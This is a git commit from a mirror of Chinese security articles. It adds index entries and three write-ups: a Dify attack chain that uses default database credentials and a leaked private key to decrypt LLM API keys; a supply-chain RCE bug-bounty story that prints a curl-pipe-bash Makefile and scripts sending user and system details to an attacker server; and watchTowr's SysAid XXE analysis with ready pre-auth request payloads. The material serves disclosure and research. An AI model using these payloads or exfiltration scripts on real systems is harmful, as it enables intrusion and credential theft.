mirror of
https://github.com/gelusus/wxvl.git
synced 2025-08-13 03:17:22 +00:00
一次某info开源系统漏洞挖掘、RCE、一次某info开源系统漏洞挖掘、【论文速读】| 漏洞放大:针对基于LLM的多智能体辩论的结构化越狱攻击、实战攻防之Nacos漏洞一文通、znlinux linux全架构全漏洞提权程序、使用区间分析识别智能合约中的漏洞、Dify 组合漏洞获取LLM KEY、漏洞扫描工具 -- ThinkPHPKiller(5月6日更新)、CVE-2025-2905(CVSS 9.1):WSO2 API 管理器中发现严重 XXE 漏洞、SysAid 本地预授权 RCE 链(CVE-2025-2775 及其相关漏洞)- watchTowr 实验室、
This commit is contained in:
parent
ee4a6125d6
commit
8b462b0467
13
data.json
13
data.json
@ -13717,5 +13717,16 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg5Mjg4Mjg0MQ==&mid=2247483858&idx=1&sn=0a09908d1d547dd0fd19309035313a63": "Apache OFBiz 路径遍历漏洞(CVE-2024-36104)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk1Nzg3ODkyNg==&mid=2247484094&idx=1&sn=500d0790fdd6f1c97cae965d152f63c9": "WordPress depicter插件SQL注入漏洞(CVE-2025-2011)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNjcyODI1OA==&mid=2247484683&idx=1&sn=d3e64c62aee2c73abd3a1e044b69d611": "Nacos Derby RCE代码审计",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&mid=2247488527&idx=1&sn=17cc9468f596e8a762e8c5ba38f143d6": "星图实验室协助vLLM项目修复多个高危漏洞"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&mid=2247488527&idx=1&sn=17cc9468f596e8a762e8c5ba38f143d6": "星图实验室协助vLLM项目修复多个高危漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4MzkwNzI1OQ==&mid=2247486490&idx=1&sn=9815d6f53761ca0d636b6e2ecf4208d2": "一次某info开源系统漏洞挖掘",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497563&idx=1&sn=ceaea8297e93659498c5576678d85f50": "RCE",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyMjM5NDM3NQ==&mid=2247486422&idx=1&sn=3811dd4823e37100c77350dcd6521da5": "一次某info开源系统漏洞挖掘",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247496394&idx=1&sn=d001c2e4d819caee3d146316286f59e5": "【论文速读】| 漏洞放大:针对基于LLM的多智能体辩论的结构化越狱攻击",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247519289&idx=1&sn=1699b806a26022b3a7f1bd3876f20717": "实战攻防之Nacos漏洞一文通",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNjMwNDUxNg==&mid=2247488057&idx=1&sn=3f3aeb579ab406fe8f47558d666d502b": "znlinux linux全架构全漏洞提权程序",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458593301&idx=1&sn=28d71b01d0207906a35a3882f88828de": "使用区间分析识别智能合约中的漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwODc1NTgyMg==&mid=2247484949&idx=1&sn=c37eaf049f706e55ef603f83649e7e1b": "Dify 组合漏洞获取LLM KEY",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247516589&idx=1&sn=82e60d5e426e05d401c4e79eec81d652": "漏洞扫描工具 -- ThinkPHPKiller(5月6日更新)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2Mzg2NDM0NA==&mid=2247485311&idx=1&sn=6cf446fe3a9deb2ffcb471aaae73cecb": "CVE-2025-2905(CVSS 9.1):WSO2 API 管理器中发现严重 XXE 漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247529605&idx=1&sn=6fa3721d92926efa358777464843d15f": "SysAid 本地预授权 RCE 链(CVE-2025-2775 及其相关漏洞)- watchTowr 实验室"
|
||||
}
|
File diff suppressed because one or more lines are too long
226
doc/2025-05/Dify 组合漏洞获取LLM KEY.md
Normal file
226
doc/2025-05/Dify 组合漏洞获取LLM KEY.md
Normal file
@ -0,0 +1,226 @@
|
||||
# Dify 组合漏洞获取LLM KEY
|
||||
蓝云Sec 2025-05-07 12:28
|
||||
|
||||
项目地址:https://github.com/langgenius/dify
|
||||
|
||||
1、前言:
|
||||
|
||||
目前该漏洞大部分已经修复了,该文只用于学习,请勿用于非法。
|
||||
|
||||
以下测试均为本地环境试验。
|
||||
|
||||
最近正巧使用Nas+dify完成部分工作,dify搭建好发现了@e0mlja师傅刚发的文章
|
||||
|
||||
2、漏洞利用
|
||||
|
||||
dify的配置文件中其实有许多的默认密码不限于SQL、OpenSearch等,具体的可以自己去看一下,前面的攻击思路就是通过默认口令
|
||||
|
||||
difyai123456连接postgresql,修改用户名密码(当然也可以去创建一个用户,可以参考e0mlja师傅的文章)
|
||||
|
||||
进入到后台后,创建一个知识库,上传任意文件,到数据库中修改地址获取到private.pem(后面再说为啥要获取这个东西)
|
||||
|
||||
最后找到加密后的key,写个解密脚本即可获取到key内容
|
||||
|
||||
3、漏洞分析
|
||||
|
||||
前面的内容一直到读取的部分,这里都不细说了,接下来只介绍key分析的部分
|
||||
|
||||
3.1、分析加密方式
|
||||
|
||||
先放图
|
||||
|
||||
|
||||

|
||||
|
||||
如果我们直接在后台查看API key会发现是被加密的,从页面提示可以看到是通过PKCS1_OAEP进行加密
|
||||
|
||||
PKCS1_OAEP
|
||||
|
||||
PKCS1_OAEP是RSA加密算法的一种填充方案,用于提高加密安全性。它通过哈希函数和随机数填充明文,使相同明文加密产生不同密文。其主要特点是安全性高,能有效抵御多种攻击,并能验证数据完整性。它常用于密钥传输、数字签名和安全存储等场景,是RSA加密中更安全的选择。
|
||||
|
||||
这里我们知道大概逻辑后,下一步就是找三个东西了,私钥、公钥和密文
|
||||
|
||||
找公钥只是为了验证我们私钥是否正确
|
||||
|
||||
|
||||
|
||||
3.2、公钥、密钥获取
|
||||
|
||||
公钥和密文这两个其实都比较好找
|
||||
|
||||
公钥
|
||||
|
||||
在数据库里面有个tenants的表,里面存放的我们工作空间的内容,当然也包含我们相关的公钥
|
||||
|
||||
|
||||

|
||||
|
||||
除了公钥以外,这个id也很重要,可以先记住,后面再详细说明是干啥用的
|
||||
|
||||
密文
|
||||
|
||||
密文存放位置在数据库中的providers表中
|
||||
|
||||
|
||||

|
||||
|
||||
其中的encryptd_config也就是我们的key
|
||||
|
||||
大概内容如下
|
||||
|
||||
|
||||

|
||||
|
||||
到这里我们前期需要的两个东西就有了,接下来是找私钥
|
||||
|
||||
3.3、私钥获取
|
||||
|
||||
全过程中最麻烦的一步
|
||||
|
||||
3.3.1 获取私钥位置
|
||||
|
||||
首先我们要分析私钥存放在哪个位置,才能去获取
|
||||
|
||||
如果你仔细查看过官方文档会找到一个STORAGE_LOCAL_PATH的参数,而该参数的默认指向/app/api/storage在storage中则存放着我们的private.pem,具体可以参考官方文档内容
|
||||
|
||||
|
||||

|
||||
|
||||
这里的内容需要好好看,不然接下来你会踩和我一样的坑
|
||||
|
||||
这里知道private.pem的地址后我们可以去尝试拼接一下
|
||||
|
||||
/app/api/storage/[工作空间id]/private.pem
|
||||
|
||||
坑点1
|
||||
|
||||
如果你也是用这样的方式去尝试进行读取,那么恭喜你成功踩了第一个坑
|
||||
|
||||
你大概会得到如下结果
|
||||
|
||||
|
||||

|
||||
|
||||
因为
|
||||
/app/api/storage/[工作空间id]/private.pem并不是一个有效的绝对路径,你并不知道它前面还有哪些内容,当然如果你能推出它前面路径当我没说
|
||||
|
||||
例如
|
||||
/var/docker/dify/test/app/api/storage/[工作空间id]/private.pem
|
||||
|
||||
|
||||
|
||||
解决方法
|
||||
|
||||
其实在最初的官方介绍中,我们便可以找到这个位置
|
||||
|
||||
|
||||

|
||||
|
||||
注意分析这句话,我们可以推断出upload_file和我们私钥应该处于同一目录下
|
||||
|
||||
在github的源码中我找到了以下内容
|
||||
|
||||
|
||||

|
||||
|
||||
ok,到这里其实已经很明显了,我们要找的私钥文件应当处于的相对位置是
|
||||
|
||||
/storage/privkeys/[工作空间id]/private.pem
|
||||
|
||||
这里我们起一个本地环境可以验证一下
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
此处工作空间id和我们数据库中正好能够对应,由此推断为正确的private.pem
|
||||
|
||||
那么就可以去获取一下我们的private.pem内容
|
||||
|
||||

|
||||
|
||||
将获取到的密钥内容,按照.pem格式拼接即可
|
||||
|
||||
当然,你也可以利用我们获取到的公钥对任意数据进行加密,尝试用获取到的私钥进行解密验证
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
结果显而易见
|
||||
|
||||
|
||||
|
||||
到这里如果你觉得已经完了,那你会发现拿着这个私钥无法解密你获取到的密文
|
||||
|
||||
|
||||

|
||||
|
||||
这里也就是第二个坑
|
||||
|
||||
为什么会无法解密呢?难道是因为私钥不对?如果是私钥不正确,那么我们刚才用公钥加密的内容便无法被成功解密。
|
||||
|
||||
这里我的判断就是可能不存在一种加密方式
|
||||
|
||||
3.4、解密脚本撰写及分析
|
||||
|
||||
在api/commands.py中我们可以分析reset_encrypt_key_pair()命令会为每个工作空间(tenant)生成一对新的非对称密钥(RSA 2048位),私钥以 PEM 格式存储在
|
||||
privkeys/{tenant_id}/private.pem,公钥则保存在数据库字段 tenant.encrypt_public_key 中
|
||||
|
||||
|
||||

|
||||
|
||||
在dify-main/api/libs/rsa.py通过encrypt函数实现AES加密
|
||||
|
||||
|
||||

|
||||
|
||||
加密时,首先生成一个随机的 AES 密钥(16字节),用 AES(EAX模式)对明文进行加密,然后用租户的 RSA 公钥对 AES 密钥进行加密。
|
||||
|
||||
最终密文格式为:HYBRID: 前缀 + 加密后的 AES 密钥 + AES nonce + tag + 密文内容。
|
||||
|
||||
该加密数据会被 base64 编码后存储。
|
||||
|
||||
解密流程
|
||||
|
||||
解密时,先用工作空间的私钥解密出 AES 密钥,再用 AES 密钥解密数据内容,恢复明文。
|
||||
|
||||
解密相关逻辑在 dify-main/api/libs/rsa.py 和 dify-main/api/core/helper/encrypter.py 中实现
|
||||
|
||||
|
||||
|
||||
那么接下来,我们便可以通过上面的方法来实现
|
||||
|
||||
总共两种实现方式
|
||||
|
||||
1、可以直接调用 libs/rsa.py 里的 decrypt 方法。但是这种方式对我们来说并不是特别方便,需要本地安装环境
|
||||
|
||||
2、写一个解密脚本
|
||||
|
||||
大致内容如下
|
||||
|
||||
|
||||

|
||||
|
||||
最后成功获取KEY
|
||||
|
||||
|
||||

|
||||
|
||||
放到dify验证一下,确实可以使用
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
以上便是Dify key泄露全过程,如果上面还有看不明白的地方或者需要相应脚本和环境的,可以私信找我要完整版本,如有问题欢迎沟通。
|
||||
|
||||
|
||||

|
||||
|
||||
|
130
doc/2025-05/RCE.md
Normal file
130
doc/2025-05/RCE.md
Normal file
@ -0,0 +1,130 @@
|
||||
# RCE
|
||||
迪哥讲事 2025-05-07 14:58
|
||||
|
||||
<table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明:</span></span></strong></span><span style="font-size: 15px;"></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table>#
|
||||
|
||||
#
|
||||
|
||||
****# 防走失:https://gugesay.com/archives/4236
|
||||
|
||||
******不想错过任何消息?设置星标****↓ ↓ ↓**
|
||||
****
|
||||
#
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
file
|
||||
# 前言
|
||||
|
||||
今天分享国外白帽小哥在 H1 的一个私有项目上发现 RCE 漏洞的故事,出于隐私原因,文中实际目标程序统一由“redacted”代替。
|
||||
# 攻击方式
|
||||
|
||||
该漏洞源于在多个项目中持续使用无人认领的 GitHub 帐户。
|
||||
## 寻找易受攻击的存储库:
|
||||
- github.com/redacted-developer/redacted-search
|
||||
|
||||
- github.com/redacted-developer/LLM-something
|
||||
|
||||
- 其它项目等
|
||||
|
||||
## 利用废弃的 GitHub 帐户
|
||||
|
||||
一个关键发现是多个仓库指示用户从未声明的 GitHub 帐户克隆依赖项,例如:
|
||||
```
|
||||
git clone https://github.com/Unclaimed-github-account/redacted-something-search.gitcd redacted-something-search/cp .env.template .envmake deploy
|
||||
```
|
||||
|
||||
由于 Unclaimed-github-account 已被废弃,因此我们能够将其注册到自己的控制之下。
|
||||
|
||||
一旦获得了仓库的所有权,攻击者就可以将恶意代码 ( Makefile 和 poc.sh )上传到开发人员构建和部署过程中克隆的存储库中。
|
||||
```
|
||||
deploy: curl https://raw.githubusercontent.com/Unclaimed-github-account/redacted-something-search/refs/heads/main/poc.sh | bash
|
||||
```
|
||||
|
||||
恶意 poc.sh:
|
||||
```
|
||||
#!/bin/bashusername=$(whoami)os_details=$(uname -a)current_directory=$(pwd)data="username=$username&os_details=$os_details¤t_directory=$current_directory"curl -X POST -d "$data" https://<attacker_server>
|
||||
```
|
||||
|
||||
make deploy
|
||||
会命令触发了 Makefile
|
||||
,下载并执行恶意 poc.sh 脚本,从而导致在受害者的机器上执行远程代码。
|
||||
## LLM-something 存储库中的相同问题
|
||||
|
||||
同样在 LLM-something 存储库中,用户被指示安装依赖项并运行应用程序:
|
||||
```
|
||||
pip install -r requirements.txtstreamlit run run.py
|
||||
```
|
||||
|
||||
通过修改 run.py 文件来‘悄悄’收集敏感信息,例如:
|
||||
- 用户名
|
||||
|
||||
- 操作系统详细信息
|
||||
|
||||
- 当前工作目录
|
||||
|
||||
- IP 地址
|
||||
|
||||
恶意 run.py 的代码片段:
|
||||
```
|
||||
import osimport platformimport requestsimport streamlit as stusername = os.getlogin()current_directory = os.getcwd()os_info = platform.system() + " " + platform.release()server_url = "https://<attacker-server>/log"data = {"username": username,"directory": current_directory,"os": os_info}try: response = requests.post(server_url, data=data) st.success(f"Info sent to server! Response: {response.status_code}")except Exception as e: st.error(f"Error sending data: {e}")st.title("System Info Sender")st.write("User info has been sent automatically when you started this app.")
|
||||
```
|
||||
# 漏洞时间线
|
||||
- Day0: 发现、利用并向厂商提交报告
|
||||
|
||||
- Day7:报告分类,严重程度从 “严重” 降级为 “高” (原因是需要用户交互)
|
||||
|
||||
- Day7:获得赏金 2500 美元奖励
|
||||
|
||||
- Day23:Unclaimed-github-account 的所有权转回厂商
|
||||
|
||||
- Day25:漏洞修复
|
||||
|
||||
希望本故事对你有所启发。
|
||||
|
||||
|
||||
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
|
||||
|
||||

|
||||
|
||||
|
||||
往期回顾
|
||||
# 如何绕过签名校验
|
||||
#
|
||||
|
||||
[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[挖掘有回显ssrf的隐藏payload](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496898&idx=1&sn=b6088e20a8b4fc9fbd887b900d8c5247&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
原文:https://infosecwriteups.com/the-2500-bug-remote-code-execution-via-supply-chain-attack-3beb07ac1a4c
|
||||
|
||||
|
@ -0,0 +1,554 @@
|
||||
# SysAid 本地预授权 RCE 链(CVE-2025-2775 及其相关漏洞)- watchTowr 实验室
|
||||
Ots安全 2025-05-07 14:16
|
||||
|
||||

|
||||
|
||||
又过了一周,又出现了一个显然对勒索软件团伙有经验但在电子邮件方面却举步维艰的供应商。
|
||||
|
||||
在我们所看到的其他人所说的“watchTowr 处理”中,我们再次(令人惊讶地)披露了漏洞研究,该研究使我们能够针对另一个针对企业的产品获得预先认证的远程命令执行 - 具体来说,就是 SysAid On-Premise(版本23.3.40),以下简称“SysAid”。
|
||||
|
||||
SysAid 的产品阵容说明
|
||||
|
||||
尽管 SysAid 的网站经常将“SysAid ITSM”和“SysAid HelpDesk”描述为不同的产品,但它们只是同一核心平台的不同品牌标签。实际上,SysAid 仅根据部署模型提供两种独立的产品:
|
||||
|
||||
SysAid On-Prem:该平台的经典自托管版本,可在您自己的数据中心或私有云内安装和管理。SysAid
|
||||
|
||||
SaaS:该平台的完全托管、云交付版本,由 SysAid 维护,可通过 Web 浏览器访问。
|
||||
|
||||
简单浏览一下新闻就会发现,SysAid 对漏洞并不陌生,他们的“业务关键型”解决方案此前已经受到勒索软件团伙的关注。
|
||||
|
||||
在最近的博客文章中,我们讨论了“业务关键型”设备,并发现您常用的备份和复制设备中存在大量漏洞。因此,我们认为是时候关注另一个业务关键型工具——IT 服务管理 (ITSM) 解决方案了。
|
||||
|
||||
ITSM 解决方案真正称得上是业务关键型基础设施。它们通常作为支持工单的主要接口,并负责存储所有与内部工单、事件、知识库条目和资产清单相关的敏感信息。
|
||||
|
||||
毋庸置疑,ITSM 是真正的、面向互联网的宝库,是您附近的恶棍、红队和松鼠的宝库。
|
||||
|
||||
毫不奇怪,正是由于这些因素,ITSM 解决方案仍然是勒索软件团伙极具吸引力的目标,他们寻找任何机会对组织进行双重勒索、加密系统和窃取敏感数据。
|
||||
|
||||
今天,我们将向您介绍我们发现的以下漏洞:
|
||||
- CVE-2025-2775——XML 外部实体注入
|
||||
|
||||
- CVE-2025-2776——XML 外部实体注入
|
||||
|
||||
- CVE-2025-2777——XML 外部实体注入
|
||||
|
||||
小编注:享受时间线吧。
|
||||
|
||||
让我们深入了解一下我们在今年早些时候如何以 SYSTEM 权限实现完整的预认证远程命令执行 (RCE)。
|
||||
|
||||
我们经常会寻找“有趣的”企业设备和软件,寻找能给我们带来……感觉的软件。
|
||||
|
||||
这种感觉——通常被定义为共鸣、直觉和模因能力——深深地触动了我们,SysAid On-Prem 引起了我们的注意,促使我们进行了进一步的研究。一旦这种感觉得到满足,我们就会更有条理地决定是否应该投入更多时间:
|
||||
- 它是关键业务设备吗?是的。
|
||||
|
||||
- 它在公共互联网上是否非常流行?勾选。
|
||||
|
||||
- 它包含敏感信息吗?当然。
|
||||
|
||||
- 它曾经被威胁者攻击过吗?有。
|
||||
|
||||
架构
|
||||
|
||||
可以将 SysAid 服务器想象成您机柜中的另一个 Windows 机箱,只不过这个服务器可以处理您交给它的每个 IT 票证、资产记录和帮助台魔法。
|
||||
|
||||

|
||||
|
||||
在内部部署中,SysAid 作为基于 Windows Server 的应用程序在您组织的基础架构中运行。
|
||||

|
||||
|
||||
SysAid Windows 安装程序设置了一些后台服务,但其核心非常令人兴奋 - 它是一个由 Java 驱动的 Web 服务器,可直接从捆绑的 JAR 文件运行。
|
||||
|
||||
主要应用程序逻辑位于中sysaid.jar,它当然是包含数百个类的常见 18mb JAR 文件。
|
||||
|
||||

|
||||
|
||||
虽然 SysAid 提供了丰富而广泛的功能集,但每个附加功能和额外能力都会扩大我们必须评估的整体攻击面。
|
||||
|
||||
与往常一样,我们的首要目标是更好地理解我们正在看的东西,并规划出系统的功能。
|
||||
|
||||
快速浏览一下,web.xml就会发现有超过 700 个暴露的 Java servlet,这是一个庞大的生态系统,错误配置和被忽视的边缘错误可能潜伏其中而不被察觉。这自然为事情发生严重错误提供了相当大的机会。
|
||||
|
||||

|
||||
|
||||
第一个预授权XXE
|
||||
|
||||
我们的旅程从识别端点内的预授权 XXE 开始/mdm/checkin。
|
||||
|
||||
由于命名约定,我们立即怀疑移动设备很可能使用此方法作为移动设备管理流程的一部分,定期 ping SysAid 实例以共享其状态。
|
||||
|
||||
因此,当深入代码库时,我们的目光就集中在寻找所有与 MDM 和请求解析有关的东西。
|
||||
|
||||
很快(我们的意思是,非常非常快),我们就找到了一种满足所有这些要求的方法,它是 GetMdmMessage 类的一部分:
|
||||
|
||||
```
|
||||
com.ilient.mdm.GetMdmMessage#doPost
|
||||
```
|
||||
|
||||
|
||||
此方法负责处理指向/mdm/前缀路径的传入请求。具体来说,如果请求 URI 为/mdm/checkin,则此方法负责调用PropertyListParser.parse(byteArray)函数来处理 HTTP POST 请求中包含的用户提供的数据——当然,无需进行验证或过滤。
|
||||
|
||||
以下是我们感兴趣的代码片段:
|
||||
|
||||
```
|
||||
1: publicvoid doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {2: String requestURI = httpServletRequest.getRequestURI();3: String stringBuffer = httpServletRequest.getRequestURL().toString();4: if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) {5: stringBuffer = stringBuffer.replace("http:", "https:");6: }7: String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext()));8: if (stringBuffer.lastIndexOf("/mdm/") > 0) {9: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/") + 1);10: } else {11: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/mobile")) + "/mdm/";12: }13: 14: [..SNIP..]15: 16: } elseif (requestURI.endsWith("checkin")) {17: IlientConf.logger.debug("GetMdmMessage 5: CHECK_IN");18: 19: // XXE Vulnerability is triggered here20: NSDictionary parse2 = PropertyListParser.parse(byteArray);21: 22: String obj3 = parse2.objectForKey("MessageType").toString();23: parse2.objectForKey("Topic");24: String obj4 = parse2.objectForKey("UDID").toString();25: if (obj3.equals("TokenUpdate")) {26: String obj5 = parse2.objectForKey("PushMagic").toString();
|
||||
```
|
||||
|
||||
|
||||
让我们逐行分解以下代码:
|
||||
- 行 [2]:用户提供的 URI 存储在requestURI变量中。
|
||||
|
||||
- 行 [3]:请求 URL 存储在stringBuffer变量中。
|
||||
|
||||
- 行 [8]:代码检查是否stringBuffer包含/mdm/路径。
|
||||
|
||||
- 行 [16]:如果/mdm/检查通过,代码将验证是否requestURI以 结尾"checkin"。
|
||||
|
||||
- 行 [20]:如果上述检查通过,则解析用户提供的数据,从而触发 XXE。
|
||||
|
||||
按照这个逻辑,通过发送以下请求就可以触发第一个 XXE:
|
||||
|
||||
```
|
||||
POST/mdm/checkin HTTP/1.1Host: targetContent-Type: application/xmlContent-Length: 129<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">%foo;]>
|
||||
```
|
||||
|
||||
|
||||
我们迅速返回一个带有空白响应的 HTTP 200,并立即尝试/watchTowr.dtd从攻击者控制的服务器获取:
|
||||

|
||||
|
||||
此请求包含我们最喜欢的 XXE 成功指标之一,即一个明显的 Java User-Agent,证明我们已成功触发该漏洞:
|
||||

|
||||
|
||||
砰!教科书XXE。
|
||||
|
||||
我们并不满意这确实是我们要进行的漏洞研究,因此我们继续寻找更多......
|
||||
|
||||
第一个 t秒预授权 XXE,但不同
|
||||
|
||||
第二个 Pre-Auth XXE 漏洞发生在同一方法中,但在不同的行上
|
||||
|
||||
```
|
||||
com.ilient.mdm.GetMdmMessage#doPost
|
||||
```
|
||||
|
||||
|
||||
在第 3 行[21], POST 请求中用户提供的数据再次被解析,PropertyListParser.parse且没有经过任何清理,从而导致另一个 XXE:
|
||||
|
||||
```
|
||||
1: publicvoid doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {2: String requestURI = httpServletRequest.getRequestURI();3: String stringBuffer = httpServletRequest.getRequestURL().toString();4: if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) {5: stringBuffer = stringBuffer.replace("http:", "https:");6: }7: String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext()));8: if (stringBuffer.lastIndexOf("/mdm/") > 0) {9: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/") + 1);10: } else {11: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/mobile")) + "/mdm/";12: }13: [..SNIP..]14: 15: 16: } elseif (requestURI.endsWith("serverurl")) {17: newString(byteArray);18: IlientConf.logger.debug("GetMdmMessage 8: SERVER_URL");19: // XXE vulnerability here20: 21: NSDictionary parse3 = PropertyListParser.parse(byteArray);
|
||||
```
|
||||
|
||||
|
||||
如果我们逐行分解以下代码:
|
||||
- 行 [2]:用户提供的 URI 存储在requestURI变量中。
|
||||
|
||||
- 行 [3]:请求 URL 存储在stringBuffer变量中。
|
||||
|
||||
- 行 [8]:代码检查是否stringBuffer包含/mdm/路径。
|
||||
|
||||
- 行 [16]:如果/mdm/检查通过,代码将验证是否requestURI以 结尾"serverurl"。
|
||||
|
||||
- 行[21]:如果上述检查通过,则解析用户提供的数据,从而触发 XXE。
|
||||
|
||||
以下请求会触发该漏洞
|
||||
|
||||
```
|
||||
POST/mdm/serverurl HTTP/1.1Host: targetContent-Type: application/xmlContent-Length: 129<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">%foo;]>
|
||||
```
|
||||
|
||||
再次,我们返回一个带有空白响应的 HTTP 200,并立即尝试/watchTowr.dtd从攻击者控制的服务器获取数据,这表明成功:
|
||||

|
||||
|
||||

|
||||
|
||||
第三次预授权XXE
|
||||
|
||||
第三个 XXE 在向端点发送请求时触发/lshw,导致以下方法得到执行:
|
||||
|
||||
```
|
||||
com.ilient.agentApi.LshwAgent#doPost
|
||||
```
|
||||
|
||||
|
||||
说实话,这个方法没什么用。它主要用来包装一些 HTTP 参数是否存在。
|
||||
|
||||
一旦我们摆脱了那种兴奋的混乱,就会调用另一种方法来处理主要逻辑,通过执行以下语句来实现new b().a():
|
||||
|
||||
```
|
||||
